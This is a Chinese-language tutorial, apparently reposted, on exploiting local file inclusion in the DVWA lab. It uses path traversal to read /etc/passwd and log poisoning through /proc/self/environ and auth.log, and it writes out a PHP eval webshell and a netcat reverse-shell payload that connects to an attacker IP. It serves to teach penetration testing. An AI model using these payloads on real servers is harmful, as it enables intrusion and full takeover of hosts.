滲透測試之本地文件包含(LFI)


一、本地文件包含

  本地文件包含漏洞指的是包含本地的php文件,而通過PHP文件包含漏洞入侵網站,可以瀏覽同服務器所有文件,並獲得webshell。

 

 

 看見?page=標志性注入點,提示我們輸入?page=index.php

 

 通過報錯,我們可以知道當前文件包含的目錄路徑是/var/www/dvwa/vulnerabilities/fi/

我們可以通過../../../../../etc/passwd 試一下能不能顯示默認用戶賬戶密碼

 

 發現可以訪問。所以存在本地文件包含漏洞(LFI),你可以通過這種方法訪問一些密碼、敏感信息文件。

==============================================================================

如何利用LFI漏洞獲得反彈shell,完全控制目標主機?

  通過注入惡意代碼到可讀的文件中,然后瀏覽它使惡意代碼被執行,比如

  /proc/self/environ

  /var/log/auth.log

  /var/log/apache2/access.log

  通常使用日志文件完成,因為本地文件通常會注冊或寫入日志文件。

==============================================================================

舉個栗子:

  打開burpsuite,開啟代理。瀏覽器訪問下面url抓取http包

  http://192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

 

 發現會執行代理,那我們把包修改為php代碼后轉發試試。

 

 修改完成,轉發試試結果:

 

 可以發現php代碼被執行了。所以我們就可以將payload換成webshell.php中的php代碼從而獲得webshell。

比如注入一句話木馬

<?php @eval($_POST['pass']);?>,然后通過蟻劍連接。
========================================================================================
獲取反彈shell獲得目標服務器的完全控制權。

方法一:

本次換個方式,從文件上傳那篇知道passthru("")函數是PHP執行系統命令的,這里使用netcat執行監聽端口命令

構造payload為 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

 

 

 

 然后在kali上開啟監聽。

 

Forward改好的包結果如下:

 

 成功控制目標主機。

===============================================================================================

 方法二:/var/log/auth.log

  訪問日志文件

 

   發現22端口是開啟的,我們可以嘗試用ssh登入看是否會被記錄在日志文件中

  

 

  以random賬戶登入,隨便輸給密碼。然后刷新瀏覽器頁面找到random,發現已經記錄到了日志文件。

  

 

 

 這說明,ssh后面的命令執行了,我們只要把命令替換成反彈shell的payload就ok了。

構造payload為 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>

開啟監聽,同時ssh登入。

 

 

這里命令需要進行base64編碼,編碼結果如下:

 

 

 

 

 

 最后ssh回車車,刷新瀏覽器頁面,執行注入命令反彈shell連接攻擊主機。

 

 成功控制目標主機。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM